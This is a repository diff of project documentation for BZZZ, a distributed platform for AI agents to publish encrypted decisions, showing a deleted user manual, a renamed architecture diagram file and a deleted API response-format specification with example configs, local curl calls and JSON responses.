Decision: fmt.Sprintf("Created user: %s", user.Email),
FilesModified: []string{"internal/users/service.go"},
Success: true,
})
}
```
#### Event-Driven Architecture
```python
# Event-driven microservice with BZZZ integration
class OrderProcessor:
def __init__(self, bzzz_client):
self.bzzz = bzzz_client
self.event_stream = bzzz_client.subscribe_events()
async def start_processing(self):
async for event in self.event_stream:
if event.type == "order_created":
await self.process_order(event.data)
async def process_order(self, order_data):
# Process order
result = await self.fulfill_order(order_data)
# Publish decision
await self.bzzz.decisions.publish_code(
task="process_order",
decision=f"Processed order {order_data['id']}",
success=result.success
)
```
### API Gateway Integration
#### Rate Limiting Configuration
```yaml
# API Gateway rate limiting for BZZZ endpoints
rate_limits:
- path: "/api/decisions/*"
rate: 100/minute
burst: 20
- path: "/api/crypto/*"
rate: 50/minute
burst: 10
- path: "/debug/*"
rate: 10/minute
burst: 2
require_auth: true
```
#### Load Balancing Strategy
```yaml
# Load balancing configuration
upstream:
- name: bzzz-cluster
servers:
- address: bzzz-node-1:8080
weight: 1
max_fails: 3
fail_timeout: 30s
- address: bzzz-node-2:8080
weight: 1
max_fails: 3
fail_timeout: 30s
health_check:
uri: /health
interval: 5s
timeout: 3s
```
## Future Roadmap
### Phase 3A: Advanced Features (Q2 2025)
- **Multi-Cluster Federation**: Cross-cluster decision synchronization
- **Advanced Analytics**: ML-based decision pattern analysis
- **Mobile SDKs**: Native iOS and Android SDK support
- **GraphQL API**: Full GraphQL interface with subscriptions
- **Blockchain Integration**: Optional blockchain anchoring for decisions
### Phase 3B: Enterprise Features (Q3 2025)
- **Enterprise SSO**: SAML/OIDC integration for enterprise authentication
- **Compliance Framework**: SOC2, GDPR, HIPAA compliance features
- **Advanced Monitoring**: Custom metrics and alerting framework
- **Disaster Recovery**: Cross-region replication and failover
- **Performance Optimization**: Sub-100ms latency targets
### Phase 4: Ecosystem Expansion (Q4 2025)
- **Plugin Architecture**: Third-party plugin system
- **Marketplace**: Community plugin and template marketplace
- **AI Integration**: LLM-based decision assistance and automation
- **Visual Tools**: Web-based visual decision tree builder
- **Enterprise Support**: 24/7 support and professional services
## Conclusion
BZZZ Phase 2B delivers a production-ready, scalable, and secure platform for distributed semantic context publishing. The unified architecture combining Age encryption, DHT storage, and role-based access control provides a robust foundation for collaborative decision-making at scale.
Key achievements include:
- **Security**: Military-grade encryption with practical key management
- **Performance**: Sub-500ms latency for 95% of operations
- **Scalability**: Proven to 100+ nodes with linear scaling characteristics
- **Developer Experience**: Comprehensive SDK with examples across 4 languages
- **Operations**: Production-ready monitoring, deployment, and management tools
The system is ready for production deployment and provides a solid foundation for future enhancements and enterprise adoption.
---
**Cross-References**:
- [Architecture Deep Dive](ARCHITECTURE.md)
- [Performance Benchmarks](BENCHMARKS.md)
- [Security Assessment](SECURITY.md)
- [Operations Guide](OPERATIONS.md)
- [SDK Documentation](BZZZv2B-SDK.md)
**Document Information**:
- **Version**: 2.0
- **Last Updated**: January 2025
- **Classification**: Technical Documentation
- **Audience**: Technical stakeholders, architects, operations teams

554
docs/BZZZv2B-USER_MANUAL.md
View File

@@ -1,554 +0,0 @@
# BZZZ User Manual
**Version 2.0 - Phase 2B Edition**
Complete guide for using BZZZ's unified semantic context publishing platform.
## Table of Contents
1. [Introduction](#introduction)
2. [Getting Started](#getting-started)
3. [Role-Based Operations](#role-based-operations)
4. [Content Publishing](#content-publishing)
5. [Security & Encryption](#security--encryption)
6. [Admin Operations](#admin-operations)
7. [Troubleshooting](#troubleshooting)
8. [Best Practices](#best-practices)
## Introduction
BZZZ Phase 2B is a distributed semantic context publishing platform that enables AI agents to securely share decisions and coordinate across a cluster. The system uses role-based encryption to ensure only authorized agents can access specific content.
### What's New in Phase 2B
- **Unified Architecture**: SLURP is now integrated as an admin-role BZZZ agent
- **Age Encryption**: All content encrypted with modern cryptography
- **DHT Storage**: Distributed storage across cluster nodes
- **Consensus Elections**: Automatic admin role failover
- **Decision Publishing**: Automated task completion tracking
### Key Concepts
**Roles**: Define agent capabilities and access permissions
- `admin`: Master authority, can decrypt all content (SLURP functions)
- `senior_software_architect`: Decision-making authority
- `backend_developer`: Implementation and suggestions
- `observer`: Read-only monitoring
**UCXL Addresses**: Semantic addresses for content organization
```
agent/role/project/task/node
backend_developer/backend_developer/bzzz/implement_encryption/1704672000
```
**Authority Levels**: Hierarchical access control
- `master`: Can decrypt all roles (admin only)
- `decision`: Can decrypt decision-level and below
- `suggestion`: Can decrypt suggestions and coordination
- `read_only`: Can only decrypt observer content
## Getting Started
### Prerequisites
- Go 1.23+ for compilation
- Docker (optional, for containerized deployment)
- Network connectivity between cluster nodes
- Age encryption keys for your role
### Installation
1. **Clone and Build**:
```bash
git clone https://github.com/anthonyrawlins/bzzz.git
cd bzzz
go build -o bzzz main.go
```
2. **Configure Your Agent**:
Create `.ucxl/roles.yaml`:
```yaml
backend_developer:
authority_level: suggestion
can_decrypt: [backend_developer]
model: ollama/codegemma
age_keys:
public_key: "age1..." # Your public key
private_key: "AGE-SECRET-KEY-1..." # Your private key
```
3. **Enable DHT and Encryption**:
Create `config.yaml`:
```yaml
agent:
id: "dev-agent-01"
role: "backend_developer"
specialization: "code_generation"
v2:
dht:
enabled: true
bootstrap_peers:
- "/ip4/192.168.1.100/tcp/4001/p2p/QmBootstrapPeer"
security:
admin_key_shares:
threshold: 3
total_shares: 5
```
4. **Start Your Agent**:
```bash
./bzzz
```
### First Run Verification
When BZZZ starts successfully, you'll see:
```
🚀 Starting Bzzz + HMMM P2P Task Coordination System...
🐝 Bzzz node started successfully
📍 Node ID: QmYourNodeID
🤖 Agent ID: dev-agent-01
🎭 Role: backend_developer (Authority: suggestion)
🕸️ DHT initialized
🔐 Encrypted DHT storage initialized
📤 Decision publisher initialized
✅ Age encryption test passed
✅ Shamir secret sharing test passed
🎉 End-to-end encrypted decision flow test completed successfully!
```
## Role-Based Operations
### Understanding Your Role
Each agent operates with a specific role that determines:
- **What content you can access** (based on authority level)
- **Which AI models you use** (optimized for role type)
- **Your decision-making scope** (what you can decide on)
- **Your encryption permissions** (who can decrypt your content)
### Role Hierarchy
```
admin (master)
├─ Can decrypt: ALL content
├─ Functions: SLURP, cluster admin, elections
└─ Authority: Master
senior_software_architect (decision)
├─ Can decrypt: architect, developer, observer
├─ Functions: Strategic decisions, architecture
└─ Authority: Decision
backend_developer (suggestion)
├─ Can decrypt: backend_developer
├─ Functions: Code implementation, suggestions
└─ Authority: Suggestion
observer (read_only)
├─ Can decrypt: observer
├─ Functions: Monitoring, reporting
└─ Authority: ReadOnly
```
### Checking Your Permissions
View your current role and permissions:
```bash
curl http://localhost:8080/api/agent/status
```
Response:
```json
{
"node_id": "QmYourNode",
"role": "backend_developer",
"authority_level": "suggestion",
"can_decrypt": ["backend_developer"],
"is_admin": false
}
```
## Content Publishing
BZZZ automatically publishes decisions when you complete tasks. There are several types of content you can publish:
### Automatic Task Completion
When your agent completes a task, it automatically publishes a decision:
```go
// In your task completion code
taskTracker.CompleteTaskWithDecision(
"implement_user_auth", // Task ID
true, // Success
"Implemented JWT authentication", // Summary
[]string{"auth.go", "middleware.go"} // Files modified
)
```
This creates an encrypted decision stored in the DHT that other authorized roles can access.
### Manual Decision Publishing
You can also manually publish different types of decisions:
#### Architectural Decisions
```bash
curl -X POST http://localhost:8080/api/decisions/architectural \
-H "Content-Type: application/json" \
-d '{
"task": "migrate_to_microservices",
"decision": "Split monolith into 5 microservices",
"rationale": "Improve scalability and maintainability",
"alternatives": ["Keep monolith", "Partial split"],
"implications": ["Increased complexity", "Better scalability"],
"next_steps": ["Design service boundaries", "Plan migration"]
}'
```
#### Code Decisions
```bash
curl -X POST http://localhost:8080/api/decisions/code \
-H "Content-Type: application/json" \
-d '{
"task": "optimize_database_queries",
"decision": "Added Redis caching layer",
"files_modified": ["db.go", "cache.go"],
"lines_changed": 150,
"test_results": {
"passed": 25,
"failed": 0,
"coverage": 85.5
},
"dependencies": ["github.com/go-redis/redis"]
}'
```
#### System Status
```bash
curl -X POST http://localhost:8080/api/decisions/status \
-H "Content-Type: application/json" \
-d '{
"status": "All systems operational",
"metrics": {
"uptime_hours": 72,
"active_peers": 4,
"decisions_published": 15
},
"health_checks": {
"database": true,
"redis": true,
"api": true
}
}'
```
### Querying Published Content
Find recent decisions by your role:
```bash
curl "http://localhost:8080/api/decisions/query?role=backend_developer&limit=10"
```
Search by project and timeframe:
```bash
curl "http://localhost:8080/api/decisions/search?project=user_auth&since=2025-01-01"
```
### Content Encryption
All published content is automatically:
1. **Encrypted with Age** using your role's public key
2. **Stored in DHT** across multiple cluster nodes
3. **Cached locally** for 10 minutes for performance
4. **Announced to peers** for content discovery
## Security & Encryption
### Understanding Encryption
BZZZ uses Age encryption with role-based access control:
- **Your content** is encrypted with your role's keys
- **Higher authority roles** can decrypt your content
- **Lower authority roles** cannot access your content
- **Admin roles** can decrypt all content in the system
### Key Management
#### Viewing Your Keys
```bash
# Check your role configuration
cat .ucxl/roles.yaml
# Verify key format
curl http://localhost:8080/api/crypto/validate-keys
```
#### Generating New Keys
```bash
# Generate new Age key pair
curl -X POST http://localhost:8080/api/crypto/generate-keys
# Response includes both keys
{
"public_key": "age1abcdef...",
"private_key": "AGE-SECRET-KEY-1..."
}
```
**⚠️ Security Warning**: Store private keys securely and never share them.
#### Key Rotation
Update your role's keys in `.ucxl/roles.yaml` and restart:
```yaml
backend_developer:
age_keys:
public_key: "age1newkey..."
private_key: "AGE-SECRET-KEY-1newkey..."
```
### Access Control Examples
Content encrypted by `backend_developer` can be decrypted by:
- ✅ `backend_developer` (creator)
- ✅ `senior_software_architect` (higher authority)
- ✅ `admin` (master authority)
- ❌ `observer` (lower authority)
Content encrypted by `admin` can only be decrypted by:
- ✅ `admin` roles only
### Verifying Security
Test encryption functionality:
```bash
# Test Age encryption
curl http://localhost:8080/api/crypto/test-age
# Test Shamir secret sharing
curl http://localhost:8080/api/crypto/test-shamir
# Verify end-to-end decision flow
curl http://localhost:8080/api/crypto/test-e2e
```
## Admin Operations
### Becoming Admin
BZZZ uses consensus elections to select admin nodes. An agent becomes admin when:
1. **No current admin** exists (initial startup)
2. **Admin heartbeat times out** (admin node failure)
3. **Split brain detection** (network partition recovery)
4. **Quorum loss** (too few nodes online)
### Admin Responsibilities
When your node becomes admin, it automatically:
- **Enables SLURP functionality** (context curation)
- **Starts admin heartbeats** to maintain leadership
- **Gains master authority** (can decrypt all content)
- **Coordinates elections** for other nodes
### Admin Commands
#### View Election Status
```bash
curl http://localhost:8080/api/admin/election-status
```
Response:
```json
{
"current_admin": "QmAdminNode",
"is_admin": false,
"election_active": false,
"candidates": [],
"last_heartbeat": "2025-01-08T15:30:00Z"
}
```
#### Force Election (Admin Only)
```bash
curl -X POST http://localhost:8080/api/admin/trigger-election \
-H "Authorization: Admin QmYourNodeID"
```
#### View Admin Key Shares
```bash
curl http://localhost:8080/api/admin/key-shares \
-H "Authorization: Admin QmAdminNodeID"
```
### Shamir Secret Sharing
Admin keys are distributed using Shamir secret sharing:
- **5 total shares** distributed across cluster nodes
- **3 shares required** to reconstruct admin key
- **Automatic reconstruction** during elections
- **Secure storage** of individual shares
#### Share Management
Each non-admin node stores one share:
```bash
# View your share (if you have one)
curl http://localhost:8080/api/admin/my-share
# Validate share integrity
curl http://localhost:8080/api/admin/validate-share
```
## Troubleshooting
### Common Issues
#### "DHT not connected"
```
⚠️ Failed to create DHT: connection refused
```
**Solution**: Check bootstrap peers in configuration:
```yaml
v2:
dht:
bootstrap_peers:
- "/ip4/192.168.1.100/tcp/4001/p2p/QmValidPeer"
```
#### "Age encryption failed"
```
❌ Age encryption test failed: invalid key format
```
**Solution**: Verify Age keys in `.ucxl/roles.yaml`:
- Private key starts with `AGE-SECRET-KEY-1`
- Public key starts with `age1`
#### "No admin available"
```
⚠️ No admin found, triggering election
```
**Solution**: Wait for election to complete or manually trigger:
```bash
curl -X POST http://localhost:8080/api/admin/trigger-election
```
#### "Permission denied to decrypt"
```
❌ Current role cannot decrypt content from role: admin
```
**Solution**: This is expected - lower authority roles cannot decrypt higher authority content.
### Debug Commands
#### View Node Status
```bash
curl http://localhost:8080/api/debug/status | jq .
```
#### Check DHT Metrics
```bash
curl http://localhost:8080/api/debug/dht-metrics | jq .
```
#### List Recent Decisions
```bash
curl "http://localhost:8080/api/debug/recent-decisions?limit=5" | jq .
```
#### Test Connectivity
```bash
curl http://localhost:8080/api/debug/test-connectivity | jq .
```
### Log Analysis
BZZZ provides detailed logging for troubleshooting:
```bash
# View startup logs
tail -f /var/log/bzzz/startup.log
# View decision publishing
tail -f /var/log/bzzz/decisions.log
# View election activity
tail -f /var/log/bzzz/elections.log
# View DHT operations
tail -f /var/log/bzzz/dht.log
```
Key log patterns to watch for:
- `✅ Age encryption test passed` - Crypto working
- `🕸️ DHT initialized` - DHT ready
- `👑 Admin changed` - Election completed
- `📤 Published task completion decision` - Publishing working
## Best Practices
### Security Best Practices
1. **Secure Key Storage**:
- Store private keys in encrypted files
- Use environment variables in production
- Never commit keys to version control
2. **Regular Key Rotation**:
- Rotate keys quarterly or after security incidents
- Coordinate rotation across cluster nodes
- Test key rotation in development first
3. **Access Control**:
- Use principle of least privilege for roles
- Regularly audit role assignments
- Monitor unauthorized decryption attempts
### Performance Best Practices
1. **DHT Optimization**:
- Use multiple bootstrap peers for reliability
- Monitor DHT connection health
- Configure appropriate cache timeouts
2. **Decision Publishing**:
- Batch similar decisions when possible
- Use appropriate content types for better organization
- Clean up old decisions periodically
3. **Resource Management**:
- Monitor memory usage for large clusters
- Configure appropriate timeouts
- Use resource limits in production
### Operational Best Practices
1. **Monitoring**:
- Monitor admin election frequency
- Track decision publishing rates
- Alert on encryption failures
2. **Backup & Recovery**:
- Backup role configurations
- Test admin key reconstruction
- Plan for cluster rebuild scenarios
3. **Cluster Management**:
- Maintain odd number of nodes (3, 5, 7)
- Distribute nodes across network zones
- Plan for rolling updates
---
## Support & Documentation
- **API Reference**: [API_REFERENCE.md](API_REFERENCE.md)
- **Developer Guide**: [DEVELOPER.md](DEVELOPER.md)
- **Security Model**: [SECURITY.md](SECURITY.md)
- **Troubleshooting**: [TROUBLESHOOTING.md](TROUBLESHOOTING.md)
**BZZZ User Manual v2.0** - Complete guide for Phase 2B unified architecture with Age encryption and DHT storage.

16
docs/BZZZv2B-SYSTEM_ARCHITECTURE.md → docs/SYSTEM_ARCHITECTURE.md
View File

@@ -10,7 +10,7 @@ This document contains diagrams to visualize the architecture and data flows of
graph TD
subgraph External_Systems ["External Systems"]
GitHub[(GitHub Repositories)] -- "Tasks (Issues/PRs)" --> BzzzAgent
WHOOSHAPI[WHOOSH REST API] -- "Repo Lists & Status Updates" --> BzzzAgent
HiveAPI[Hive REST API] -- "Repo Lists & Status Updates" --> BzzzAgent
N8N([N8N Webhooks])
Ollama[Ollama API]
end
@@ -23,9 +23,9 @@ graph TD
BzzzAgent -- "Uses" --> Logging
P2P(P2P/PubSub Layer) -- "Discovers Peers" --> Discovery
P2P -- "Communicates via" --> HMMM
P2P -- "Communicates via" --> Antennae
Integration(GitHub Integration) -- "Polls for Tasks" --> WHOOSHAPI
Integration(GitHub Integration) -- "Polls for Tasks" --> HiveAPI
Integration -- "Claims Tasks" --> GitHub
Executor(Task Executor) -- "Runs Commands In" --> Sandbox
@@ -48,7 +48,7 @@ graph TD
class BzzzAgent,P2P,Integration,Executor,Reasoning,Sandbox,Logging,Discovery internal
classDef external fill:#E8DAEF,stroke:#8E44AD,stroke-width:2px;
class GitHub,WHOOSHAPI,N8N,Ollama external
class GitHub,HiveAPI,N8N,Ollama external
```
---
@@ -57,13 +57,13 @@ graph TD
```mermaid
flowchart TD
A[Start: Unassigned Task on GitHub] --> B{Bzzz Agent Polls WHOOSH API}
A[Start: Unassigned Task on GitHub] --> B{Bzzz Agent Polls Hive API}
B --> C{Discovers Active Repositories}
C --> D{Polls Repos for Suitable Tasks}
D --> E{Task Found?}
E -- No --> B
E -- Yes --> F[Agent Claims Task via GitHub API]
F --> G[Report Claim to WHOOSH API]
F --> G[Report Claim to Hive API]
G --> H[Announce Claim on P2P PubSub]
H --> I[Create Docker Sandbox]
@@ -76,7 +76,7 @@ flowchart TD
L -- Yes --> O[Create Branch & Commit Changes]
O --> P[Push Branch to GitHub]
P --> Q[Create Pull Request]
Q --> R[Report Completion to WHOOSH API]
Q --> R[Report Completion to Hive API]
R --> S[Announce Completion on PubSub]
S --> T[Destroy Docker Sandbox]
T --> Z[End]
@@ -84,7 +84,7 @@ flowchart TD
K -- "Needs Help" --> MD1
%% Meta-Discussion Loop (Separate Cluster)
subgraph Meta_Discussion ["Meta-Discussion (HMMM)"]
subgraph Meta_Discussion ["Meta-Discussion (Antennae)"]
MD1{Agent Proposes Plan} -->|PubSub| MD2[Other Agents Review]
MD2 -->|Feedback| MD1
MD1 -->|Stuck?| MD3{Escalate to N8N}

914
docs/UCXI_API_STANDARDIZATION.md
View File

@@ -1,914 +0,0 @@
# UCXI API Standardization - UCXL Response Formats
This document describes the standardized API response formats implemented for the UCXI server, addressing Issues 004 and 010.
## Overview
The UCXI API now uses standardized UCXL response and error formats that provide:
- Consistent response structures across all endpoints
- Proper error categorization with machine-readable codes
- Request tracing with unique request IDs
- Comprehensive status and configuration endpoints
## UCXL Response Format
### Success Responses
All successful API responses follow this structure:
```json
{
"response": {
"code": "UCXL-200-SUCCESS",
"message": "Request completed successfully",
"data": {
// Actual response data here
},
"details": {
// Optional additional details
},
"request_id": "20240128-143052-abc12def",
"timestamp": "2024-01-28T14:30:52.123Z"
}
}
```
#### Success Code Examples:
- `UCXL-200-SUCCESS` - Standard successful operation
- `UCXL-201-CREATED` - Resource successfully created
- `UCXL-202-ACCEPTED` - Request accepted for processing
- `UCXL-204-NO_CONTENT` - Successful operation with no content
### Error Responses
All error responses follow this structure:
```json
{
"error": {
"code": "UCXL-400-INVALID_ADDRESS",
"message": "Invalid UCXL address format",
"details": {
"field": "address",
"provided_address": "invalid-address",
"parse_error": "address must start with 'ucxl://'"
},
"source": "ucxi-server",
"path": "/ucxi/v1/get",
"request_id": "20240128-143052-abc12def",
"timestamp": "2024-01-28T14:30:52.123Z",
"cause": {
// Optional causal error chain
}
}
}
```
#### Error Code Examples:
- `UCXL-400-BAD_REQUEST` - General bad request
- `UCXL-400-INVALID_ADDRESS` - UCXL address validation failed
- `UCXL-400-INVALID_PAYLOAD` - Request payload validation failed
- `UCXL-400-TEMPORAL_INVALID` - Invalid temporal segment
- `UCXL-404-NOT_FOUND` - Resource not found
- `UCXL-404-RESOLUTION_FAILED` - UCXL address resolution failed
- `UCXL-405-METHOD_NOT_ALLOWED` - HTTP method not supported
- `UCXL-422-UNPROCESSABLE` - Request valid but cannot be processed
- `UCXL-422-NAVIGATION_FAILED` - Temporal navigation failed
- `UCXL-500-INTERNAL_ERROR` - General server error
- `UCXL-500-STORAGE_FAILED` - Storage operation failed
- `UCXL-500-ANNOUNCE_FAILED` - Content announcement failed
#### Role-Based Collaboration Error Codes:
- `UCXL-400-INVALID_ROLE` - Invalid or unrecognized role specified
- `UCXL-404-EXPERTISE_NOT_AVAILABLE` - Requested expertise not available
- `UCXL-404-MENTORSHIP_UNAVAILABLE` - No mentors available for request
- `UCXL-404-PROJECT_NOT_FOUND` - Specified project not found or inaccessible
- `UCXL-408-COLLABORATION_TIMEOUT` - Collaboration request timed out
- `UCXL-500-COLLABORATION_FAILED` - General collaboration system failure
## API Endpoints
### Content Operations
#### GET /ucxi/v1/get
Retrieve content by UCXL address.
**Parameters:**
- `address` (required): UCXL address to retrieve
**Example Success Response:**
```json
{
"response": {
"code": "UCXL-200-SUCCESS",
"message": "Request completed successfully",
"data": {
"address": {
"agent": "claude",
"role": "developer",
"project": "bzzz",
"task": "api-standardization",
"temporal_segment": {"type": "latest"},
"path": ""
},
"content": {
"data": "SGVsbG8gV29ybGQ=",
"content_type": "text/plain",
"metadata": {"author": "claude"},
"version": 1,
"created_at": "2024-01-28T14:30:52.123Z",
"updated_at": "2024-01-28T14:30:52.123Z"
},
"source": "peer-123",
"resolved": "2024-01-28T14:30:52.123Z",
"ttl": "1h0m0s"
},
"request_id": "20240128-143052-abc12def",
"timestamp": "2024-01-28T14:30:52.123Z"
}
}
```
**Example Error Response:**
```json
{
"error": {
"code": "UCXL-400-INVALID_ADDRESS",
"message": "Invalid UCXL address format",
"details": {
"field": "address",
"provided_address": "invalid-address",
"parse_error": "address must start with 'ucxl://'"
},
"source": "ucxi-server",
"path": "/ucxi/v1/get",
"request_id": "20240128-143052-abc12def",
"timestamp": "2024-01-28T14:30:52.123Z"
}
}
```
#### PUT /ucxi/v1/put
Store content at a UCXL address.
**Parameters:**
- `address` (required): UCXL address to store content at
**Headers:**
- `Content-Type`: MIME type of content
- `X-Author`: Optional author identifier
- `X-Meta-*`: Custom metadata headers
**Body:** Raw content to store
**Example Success Response:**
```json
{
"response": {
"code": "UCXL-201-CREATED",
"message": "Resource created successfully",
"data": {
"address": "ucxl://claude:developer@bzzz:api-standardization/*^",
"key": "claude:developer@bzzz:api-standardization/*^",
"stored": true,
"content": {
"size": 1024,
"content_type": "text/plain",
"author": "claude",
"metadata": {"version": "1.0"}
}
},
"request_id": "20240128-143052-abc12def",
"timestamp": "2024-01-28T14:30:52.123Z"
}
}
```
#### DELETE /ucxi/v1/delete
Remove content at a UCXL address.
**Parameters:**
- `address` (required): UCXL address to delete
**Example Success Response:**
```json
{
"response": {
"code": "UCXL-200-SUCCESS",
"message": "Request completed successfully",
"data": {
"address": "ucxl://claude:developer@bzzz:api-standardization/*^",
"key": "claude:developer@bzzz:api-standardization/*^",
"deleted": true
},
"request_id": "20240128-143052-abc12def",
"timestamp": "2024-01-28T14:30:52.123Z"
}
}
```
### Discovery Operations
#### POST /ucxi/v1/announce
Announce content availability on the network.
**Request Body:**
```json
{
"address": "ucxl://claude:developer@bzzz:api-standardization/*^",
"content": {
"data": "SGVsbG8gV29ybGQ=",
"content_type": "text/plain",
"metadata": {"author": "claude"},
"version": 1,
"created_at": "2024-01-28T14:30:52.123Z",
"updated_at": "2024-01-28T14:30:52.123Z"
}
}
```
**Example Success Response:**
```json
{
"response": {
"code": "UCXL-200-SUCCESS",
"message": "Request completed successfully",
"data": {
"address": "ucxl://claude:developer@bzzz:api-standardization/*^",
"announced": true,
"content_summary": {
"size": 1024,
"content_type": "text/plain",
"version": 1
}
},
"request_id": "20240128-143052-abc12def",
"timestamp": "2024-01-28T14:30:52.123Z"
}
}
```
#### GET /ucxi/v1/discover
Discover content matching a pattern.
**Parameters:**
- `pattern` (required): UCXL address pattern for discovery
**Example Success Response:**
```json
{
"response": {
"code": "UCXL-200-SUCCESS",
"message": "Request completed successfully",
"data": {
"pattern": "ucxl://any:developer@bzzz:any/*^",
"results": [
{
"address": {
"agent": "claude",
"role": "developer",
"project": "bzzz",
"task": "api-standardization"
},
"content": {...},
"source": "peer-123",
"resolved": "2024-01-28T14:30:52.123Z"
}
],
"results_count": 1
},
"request_id": "20240128-143052-abc12def",
"timestamp": "2024-01-28T14:30:52.123Z"
}
}
```
### Temporal Operations
#### POST /ucxi/v1/navigate
Navigate through temporal versions of content.
**Request Body:**
```json
{
"address": "ucxl://claude:developer@bzzz:api-standardization/*^",
"temporal_segment": "~~5"
}
```
**Example Success Response:**
```json
{
"response": {
"code": "UCXL-200-SUCCESS",
"message": "Request completed successfully",
"data": {
"address": "ucxl://claude:developer@bzzz:api-standardization/*^",
"temporal_segment": "~~5",
"navigation_result": {
"current_version": 10,
"target_version": 5,
"available_versions": [1, 2, 3, 4, 5, 6, 7, 8, 9, 10],
"content": {...}
}
},
"request_id": "20240128-143052-abc12def",
"timestamp": "2024-01-28T14:30:52.123Z"
}
}
```
### Status and Health
#### GET /ucxi/v1/health
Basic health check endpoint.
**Example Response:**
```json
{
"response": {
"code": "UCXL-200-SUCCESS",
"message": "Request completed successfully",
"data": {
"status": "healthy",
"running": true,
"timestamp": "2024-01-28T14:30:52.123Z",
"server": {
"port": 8080,
"base_path": "/api"
}
},
"request_id": "20240128-143052-abc12def",
"timestamp": "2024-01-28T14:30:52.123Z"
}
}
```
#### GET /ucxi/v1/status
Comprehensive status and configuration information (Issue 010).
Now includes role-based collaboration and HMMM integration status.
**Example Response:**
```json
{
"response": {
"code": "UCXL-200-SUCCESS",
"message": "Request completed successfully",
"data": {
"server": {
"port": 8080,
"base_path": "/api",
"running": true,
"version": "2.0.0",
"started_at": "2024-01-28T13:30:52.123Z"
},
"ucxi": {
"enabled": true,
"endpoints": [
"/get", "/put", "/post", "/delete",
"/announce", "/discover", "/navigate",
"/health", "/status"
]
},
"resolver": {
"enabled": true,
"operations": {
"resolve_count": 1234,
"announce_count": 567,
"discover_count": 89
},
"performance": {
"avg_resolve_time_ms": 45,
"success_rate": 0.99
}
},
"storage": {
"enabled": true,
"operations": {
"store_count": 2345,
"retrieve_count": 6789,
"delete_count": 123
},
"cache": {
"size": 1024,
"hit_rate": 0.85,
"miss_rate": 0.15
},
"performance": {
"avg_store_time_ms": 12,
"avg_retrieve_time_ms": 8
}
},
"navigators": {
"active_count": 5,
"keys": [
"claude:developer@bzzz:api-standardization",
"alice:admin@bzzz:deployment"
]
},
"p2p": {
"enabled": true,
"announce_enabled": true,
"discover_enabled": true
},
"collaboration": {
"enabled": true,
"features": {
"role_based_messaging": true,
"expertise_routing": true,
"mentorship_support": true,
"project_coordination": true,
"status_updates": true
},
"pubsub": {
"topics": {
"bzzz_coordination": "bzzz/coordination/v1",
"hmmm_meta_discussion": "hmmm/meta-discussion/v1",
"context_feedback": "bzzz/context-feedback/v1"
},
"dynamic_topics": {
"role_based_enabled": true,
"project_topics_enabled": true,
"expertise_routing_enabled": true
}
},
"message_types": [
"role_announcement", "expertise_request", "expertise_response",
"status_update", "work_allocation", "role_collaboration",
"mentorship_request", "mentorship_response", "project_update",
"deliverable_ready"
],
"metrics": {
"active_roles": 3,
"active_projects": 2,
"collaboration_events": 145
}
},
"hmmm_integration": {
"enabled": true,
"adapter": {
"version": "1.0.0",
"raw_publish_enabled": true,
"topic_auto_join": true
},
"features": {
"slurp_event_integration": true,
"per_issue_rooms": true,
"consensus_driven_events": true,
"context_updates": true
},
"topics": {
"slurp_events": "hmmm/slurp-events/v1",
"context_updates": "hmmm/context-updates/v1",
"issue_discussions": "hmmm/issues/{issue_id}/v1"
},
"message_types": [
"slurp_event_generated", "slurp_event_ack", "slurp_context_update",
"meta_discussion", "coordination_request", "dependency_alert",
"escalation_trigger"
],
"metrics": {
"slurp_events_generated": 42,
"slurp_events_acknowledged": 40,
"active_discussions": 3,
"consensus_sessions": 8
}
},
"metrics": {
"timestamp": "2024-01-28T14:30:52.123Z",
"uptime_seconds": 3600
}
},
"request_id": "20240128-143052-abc12def",
"timestamp": "2024-01-28T14:30:52.123Z"
}
}
```
### Role-Based Collaboration
#### GET /ucxi/v1/collaboration
Query role-based collaboration system status and active sessions.
**Parameters:**
- `role` (optional): Filter by specific role
- `project` (optional): Filter by project ID
- `expertise` (optional): Filter by expertise area
**Example Success Response:**
```json
{
"response": {
"code": "UCXL-200-SUCCESS",
"message": "Request completed successfully",
"data": {
"system": {
"enabled": true,
"features": {
"role_based_messaging": true,
"expertise_routing": true,
"mentorship_support": true,
"project_coordination": true
}
},
"active_sessions": [
{
"type": "expertise_request",
"from_role": "junior_developer",
"required_expertise": ["api_design", "error_handling"],
"project_id": "bzzz",
"thread_id": "thread-123",
"participants": ["claude", "alice"],
"status": "active",
"created_at": "2024-01-28T14:20:52.123Z"
},
{
"type": "project_update",
"from_role": "tech_lead",
"project_id": "bzzz",
"deliverable": "api_standardization",
"status": "in_progress",
"progress": 75,
"created_at": "2024-01-28T14:25:52.123Z"
}
],
"filters_applied": {
"role": null,
"project": null,
"expertise": null
}
},
"request_id": "20240128-143052-abc12def",
"timestamp": "2024-01-28T14:30:52.123Z"
}
}
```
#### POST /ucxi/v1/collaboration
Initiate a role-based collaboration session.
**Request Body:**
```json
{
"type": "expertise_request",
"from_role": "junior_developer",
"to_roles": ["senior_developer", "tech_lead"],
"required_expertise": ["api_design", "error_handling"],
"project_id": "bzzz",
"priority": "medium",
"data": {
"context": "Working on UCXI API standardization",
"specific_question": "How to handle nested error chains in UCXL responses?"
}
}
```
**Example Success Response:**
```json
{
"response": {
"code": "UCXL-201-CREATED",
"message": "Resource created successfully",
"data": {
"collaboration_initiated": true,
"thread_id": "thread-expertise_request-1706452252",
"type": "expertise_request",
"from_role": "junior_developer",
"to_roles": ["senior_developer", "tech_lead"],
"required_expertise": ["api_design", "error_handling"],
"project_id": "bzzz",
"priority": "medium",
"status": "initiated",
"expected_response_time": "15m",
"routing": "expertise_based",
"created_at": "2024-01-28T14:30:52.123Z"
},
"request_id": "20240128-143052-abc12def",
"timestamp": "2024-01-28T14:30:52.123Z"
}
}
```
**Collaboration Types:**
- `expertise_request`: Request help from experts in specific areas
- `mentorship_request`: Request mentoring from senior roles
- `project_update`: Broadcast project status updates
- `status_update`: Share individual agent status updates
- `work_allocation`: Assign work to specific roles
- `deliverable_ready`: Announce completed deliverables
**Example Error Response:**
```json
{
"error": {
"code": "UCXL-404-EXPERTISE_NOT_AVAILABLE",
"message": "No experts available for requested expertise areas",
"details": {
"requested_expertise": ["quantum_computing", "blockchain"],
"suggestion": "Try requesting more general expertise or check available experts"
},
"source": "ucxi-server",
"path": "/ucxi/v1/collaboration",
"request_id": "20240128-143052-abc12def",
"timestamp": "2024-01-28T14:30:52.123Z"
}
}
```
## Request Headers
### Standard Headers
- `Content-Type`: MIME type of request body
- `Authorization`: Authentication credentials (when required)
### UCXI-Specific Headers
- `X-Request-ID`: Client-provided request identifier (optional, server generates if not provided)
- `X-Author`: Content author identification
